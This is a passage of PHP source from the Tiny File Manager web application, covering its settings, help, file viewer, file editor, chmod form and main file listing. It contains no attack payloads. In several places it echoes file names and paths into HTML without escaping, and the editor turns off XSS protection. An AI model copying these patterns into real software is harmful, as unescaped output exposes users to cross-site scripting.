</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> Cancel</a></b>
</p>
<p><i>Select folder</i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li>
<a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['settings']) && !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang, $lang_list;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<i class="fa fa-cog"></i> <?php echo lng('Settings') ?>
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
<input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
<div class="form-group row">
<label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
<div class="col-sm-5">
<select class="form-control" id="js-language" name="js-language">
<?php
function getSelected($l) {
global $lang;
return ($lang == $l) ? 'selected' : '';
}
foreach ($lang_list as $k => $v) {
echo "<option value='$k' ".getSelected($k).">$v</option>";
}
?>
</select>
</div>
</div>
<?php
//get ON/OFF and active class
function getChecked($conf, $val, $txt) {
if($conf== 1 && $val ==1) {
return $txt;
} else if($conf == '' && $val == '') {
return $txt;
} else {
return '';
}
}
?>
<div class="form-group row">
<label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
<div class="col-sm-9">
<div class="btn-group btn-group-toggle" data-toggle="buttons">
<label class="btn btn-secondary <?php echo getChecked($report_errors, 1, 'active') ?>">
<input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php echo getChecked($report_errors, 1, 'checked') ?> > ON
</label>
<label class="btn btn-secondary <?php echo getChecked($report_errors, '', 'active') ?>">
<input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php echo getChecked($report_errors, '', 'checked') ?> > OFF
</label>
</div>
</div>
</div>
<div class="form-group row">
<label for="js-hdn-1" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
<div class="col-sm-9">
<div class="btn-group btn-group-toggle" data-toggle="buttons">
<label class="btn btn-secondary <?php echo getChecked($show_hidden_files, 1, 'active') ?>">
<input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php echo getChecked($show_hidden_files, 1, 'checked') ?> > ON
</label>
<label class="btn btn-secondary <?php echo getChecked($show_hidden_files, '', 'active') ?>">
<input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php echo getChecked($show_hidden_files, '', 'checked') ?> > OFF
</label>
</div>
</div>
</div>
<div class="form-group row">
<label for="js-hid-1" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
<div class="col-sm-9">
<div class="btn-group btn-group-toggle" data-toggle="buttons">
<label class="btn btn-secondary <?php echo getChecked($hide_Cols, 1, 'active') ?>">
<input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php echo getChecked($hide_Cols, 1, 'checked') ?> > ON
</label>
<label class="btn btn-secondary <?php echo getChecked($hide_Cols, '', 'active') ?>">
<input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php echo getChecked($hide_Cols, '', 'checked') ?> > OFF
</label>
</div>
</div>
</div>
<div class="form-group row">
<label for="js-dir-1" class="col-sm-3 col-form-label"><?php echo lng('CalculateFolderSize') ?></label>
<div class="col-sm-9">
<div class="btn-group btn-group-toggle" data-toggle="buttons">
<label class="btn btn-secondary <?php echo getChecked($calc_folder, 1, 'active') ?>">
<input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php echo getChecked($calc_folder, 1, 'checked') ?> > ON
</label>
<label class="btn btn-secondary <?php echo getChecked($calc_folder, '', 'active') ?>">
<input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php echo getChecked($calc_folder, '', 'checked') ?> > OFF
</label>
</div>
</div>
</div>
<div class="form-group row">
<div class="col-sm-10">
<button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['help'])) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?>
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<div class="row">
<div class="col-xs-12 col-sm-6">
<p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p>
<p>Author: Prasath Mani</p>
<p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a> </p>
</div>
<div class="col-xs-12 col-sm-6">
<div class="card">
<ul class="list-group list-group-flush">
<li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
<li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
<li class="list-group-item"><a href="javascript:latest_release_info('<?php echo VERSION; ?>');"><i class="fa fa-link"> </i> <?php echo lng('Check Latest Version') ?></a></li>
<?php if(!FM_READONLY) { ?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
<?php } ?>
</ul>
</div>
</div>
</div>
<div class="row js-new-pwd hidden mt-2">
<div class="col-12">
<form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
<input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
<div class="form-group mb-2">
<label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
</div>
<div class="form-group mx-sm-3 mb-2">
<label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
<input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="Password" required>
</div>
<button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
</form>
<textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
</div>
</div>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// file viewer
if (isset($_GET['view'])) {
$file = $_GET['view'];
$quickView = (isset($_GET['quickView']) && $_GET['quickView'] == 1) ? true : false;
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) {
fm_set_msg('File not found', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
if(!$quickView) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
}
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = fm_get_filesize(filesize($file_path));
$is_zip = false;
$is_gzip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$is_onlineViewer = false;
$view_title = 'File';
$filenames = false; // for zip
$content = ''; // for text
$online_viewer = strtolower(FM_DOC_VIEWER);
if($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())){
$is_onlineViewer = true;
}
elseif ($ext == 'zip' || $ext == 'tar') {
$is_zip = true;
$view_title = 'Archive';
$filenames = fm_get_zif_info($file_path, $ext);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = 'Image';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = 'Audio';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = 'Video';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="row">
<div class="col-12">
<?php if(!$quickView) { ?>
<p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p>
<p class="break-word">
Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br>
File
size: <?php echo fm_get_filesize($filesize) ?><?php if ($filesize >= 1000): ?> (<?php echo sprintf('%s bytes', $filesize) ?>)<?php endif; ?>
<br>
MIME-type: <?php echo $mime_type ?><br>
<?php
// ZIP info
if (($is_zip || $is_gzip) && $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn['folder']) {
$total_files++;
}
$total_comp += $fn['compressed_size'];
$total_uncomp += $fn['filesize'];
}
?>
Files in archive: <?php echo $total_files ?><br>
Total size: <?php echo fm_get_filesize($total_uncomp) ?><br>
Size in archive: <?php echo fm_get_filesize($total_comp) ?><br>
Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
}
?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></a></b>
<b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
<?php
// ZIP actions
if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>&tofolder=1" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i>
<?php echo lng('UnZipToFolder') ?></a></b>
<?php
}
if ($is_text && !FM_READONLY) {
?>
<b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
</a></b>
<b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"
class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
</a></b>
<?php } ?>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
</p>
<?php
}
if($is_onlineViewer) {
if($online_viewer == 'google') {
echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
} else if($online_viewer == 'microsoft') {
echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo '<code class="maxheight">';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '<b>' . fm_enc($fn['name']) . '</b><br>';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
}
}
echo '</code>';
} else {
echo '<p>Error while fetching archive info</p>';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))) {
echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>';
}
} elseif ($is_audio) {
// Audio content
echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
} elseif ($is_video) {
// Video content
echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '<pre>' . fm_enc($content) . '</pre>';
}
echo $content;
}
?>
</div>
</div>
<?php
if(!$quickView) {
fm_show_footer();
}
exit;
}
// file editor
if (isset($_GET['edit'])) {
$file = $_GET['edit'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg('File not found', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
header('X-XSS-Protection:0');
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
// normal editer
$isNormalEditor = true;
if (isset($_GET['env'])) {
if ($_GET['env'] == "ace") {
$isNormalEditor = false;
}
}
// Save File
if (isset($_POST['savedata'])) {
$writedata = $_POST['savedata'];
$fd = fopen($file_path, "w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg('File Saved Successfully');
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_text = false;
$content = ''; // for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="row">
<div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
<div class="btn-toolbar" role="toolbar">
<?php if (!$isNormalEditor) { ?>
<div class="btn-group js-ace-toolbar">
<button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button>
<button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button>
<button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button>
<button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button>
<button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button>
<button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button>
<select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select>
<select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select>
<select id="js-ace-fontSize" data-type="fontSize" title="Selct Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select>
</div>
<?php } ?>
</div>
</div>
<div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1">
<a title="Back" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
<a title="Backup" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
<?php if ($is_text) { ?>
<?php if ($isNormalEditor) { ?>
<a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
<button type="button" class="btn btn-sm btn-outline-primary name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
</button>
<?php } else { ?>
<a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
<button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
</button>
<?php } ?>
<?php } ?>
</div>
</div>
<?php
if ($is_text && $isNormalEditor) {
echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
} elseif ($is_text) {
echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
} else {
fm_set_msg('FILE EXTENSION HAS NOT SUPPORTED', 'error');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
$file = $_GET['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
fm_set_msg('File not found', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
$file_path = $path . '/' . $file;
$mode = fileperms($path . '/' . $file);
?>
<div class="path">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<?php echo lng('ChangePermissions') ?>
</h6>
<div class="card-body">
<p class="card-text">
Full path: <?php echo $file_path ?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">
<table class="table compact-table <?php echo fm_get_theme(); ?>">
<tr>
<td></td>
<td><b><?php echo lng('Owner') ?></b></td>
<td><b><?php echo lng('Group') ?></b></td>
<td><b><?php echo lng('Other') ?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
</tr>
</table>
<p>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
//--- FILEMANAGER MAIN
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
// messages
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="group" value="1">
<div class="table-responsive">
<table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
<thead class="thead-white">
<tr>
<?php if (!FM_READONLY): ?>
<th style="width:3%" class="custom-checkbox-header">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
<label class="custom-control-label" for="js-select-all-items"></label>
</div>
</th><?php endif; ?>
<th><?php echo lng('Name') ?></th>
<th><?php echo lng('Size') ?></th>
<th><?php echo lng('Modified') ?></th>
<?php if (!FM_IS_WIN && !$hide_Cols): ?>
<th><?php echo lng('Perms') ?></th>
<th><?php echo lng('Owner') ?></th><?php endif; ?>
<th><?php echo lng('Actions') ?></th>
</tr>
</thead>
<?php
// link to parent folder
if ($parent !== false) {
?>
<tr><?php if (!FM_READONLY): ?>
<td class="nosort"></td><?php endif; ?>
<td class="border-0"><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
<td class="border-0"></td>
<td class="border-0"></td>
<td class="border-0"></td>
<?php if (!FM_IS_WIN && !$hide_Cols) { ?>
<td class="border-0"></td>
<td class="border-0"></td>
<?php } ?>
</tr>
<?php
}
$ii = 3399;
foreach ($folders as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
if ($calc_folder) {
$filesize_raw = fm_get_directorysize($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
}
else {
$filesize_raw = "";
$filesize = lng('Folder');
}
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
<label class="custom-control-label" for="<?php echo $ii ?>"></label>
</div>
</td><?php endif; ?>
<td>
<div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
</a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
</td>
<td data-sort="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
<?php echo $filesize; ?>
</td>
<td data-sort="a-<?php echo $modif_raw;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN && !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
<?php endif; ?>
<td class="inline-actions"><?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
</td>
</tr>
<?php
flush();
$ii++;
}
$ik = 6070;
foreach ($files as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$filesize_raw = fm_get_size($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
<label class="custom-control-label" for="<?php echo $ik ?>"></label>
</div>
</td><?php endif; ?>
<td>
<div class="filename">
<?php
if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))): ?>
<?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
<a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo $f ?>">
<?php else: ?>
<a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
<?php endif; ?>
<i class="<?php echo $img ?>"></i> <?php echo fm_convert_win($f) ?>
</a>
<?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
</div>
</td>
<td data-sort=b-"<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
<?php echo $filesize; ?>
</span></td>
<td data-sort="b-<?php echo $modif_raw;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN && !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
<?php endif; ?>
<td class="inline-actions">
<a title="<?php echo lng('Preview') ?>" href="<?php echo $filelink.'&quickView=1'; ?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php echo fm_convert_win($f) ?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a>
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o"></i></a>
